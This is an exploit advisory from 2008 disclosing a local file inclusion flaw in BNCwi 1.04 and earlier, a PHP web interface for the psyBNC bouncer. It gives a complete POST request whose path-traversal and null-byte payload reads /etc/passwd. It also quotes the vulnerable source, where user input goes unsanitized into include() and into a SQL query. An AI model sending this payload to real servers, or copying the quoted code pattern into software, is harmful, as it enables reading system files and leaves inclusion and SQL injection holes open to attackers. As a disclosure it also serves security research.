bncwi-lfi.txt

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[ Discovered by dun \ dun[at]strcpy.pl ]  
  
###########################################################  
# [ BNCwi <= 1.04 ] Local File Inclusion Vulnerability #  
###########################################################  
#  
# Script: "BNCwi is a Open-Source webinterface for psyBNC.   
# With it you easily can manage your Bouncer via a graphical interface."  
#  
# Download: http://sourceforge.net/projects/bncwi/  
#  
# [LFI] Vuln: http://site.com/bncwi/index.php  
#   
# POST /bncwi/index.php HTTP/1.1  
#   
# Host: www.site.com  
# User-Agent: Mozilla/5.0  
# Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
# Accept-Language: pl,en-us;q=0.7,en;q=0.3  
# Accept-Encoding: gzip,deflate  
# Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7  
# Keep-Alive: 300  
# Connection: keep-alive  
# Content-Type: application/x-www-form-urlencoded  
# Content-Length: 49  
#   
# newlanguage=../../../../../../../../etc/passwd%00  
#   
# HTTP/1.x 200 OK  
# Date: Fri, 05 Dec 2008 01:27:15 GMT  
# Server: Apache  
# X-Powered-By: PHP/5.2.6-pl7-gentoo  
# Keep-Alive: timeout=15, max=100  
# Connection: Keep-Alive  
# Transfer-Encoding: chunked  
# Content-Type: text/html  
#   
# Bug: ./bncwi-1.04/index.php (lines: 47-56)  
#  
# ...  
# if(isset($_POST['newlanguage']))  
# {  
# setcookie("bncwi_language", $_POST['newlanguage'], time()+60*60*24*30);  
# if($_SESSION['logedin'] == "1")  
# {  
# mysql_query("UPDATE `$table_customers` SET `language` = '$_POST[newlanguage]' WHERE `serverid` = $_SESSION[server_id] AND BINARY `login` = '$_SESSION[USER_LOGIN]' LIMIT 1;");  
# }  
# $_SESSION['language'] = $_POST['newlanguage'];  
# include("lang_".$_POST['newlanguage'].".inc.php"); //LFI  
# }  
# ...   
#  
#  
###############################################  
# Greetz: D3m0n_DE * str0ke * and otherz..  
###############################################  
  
[ dun / 2008 ]   
  
*******************************************************************************************  
  
`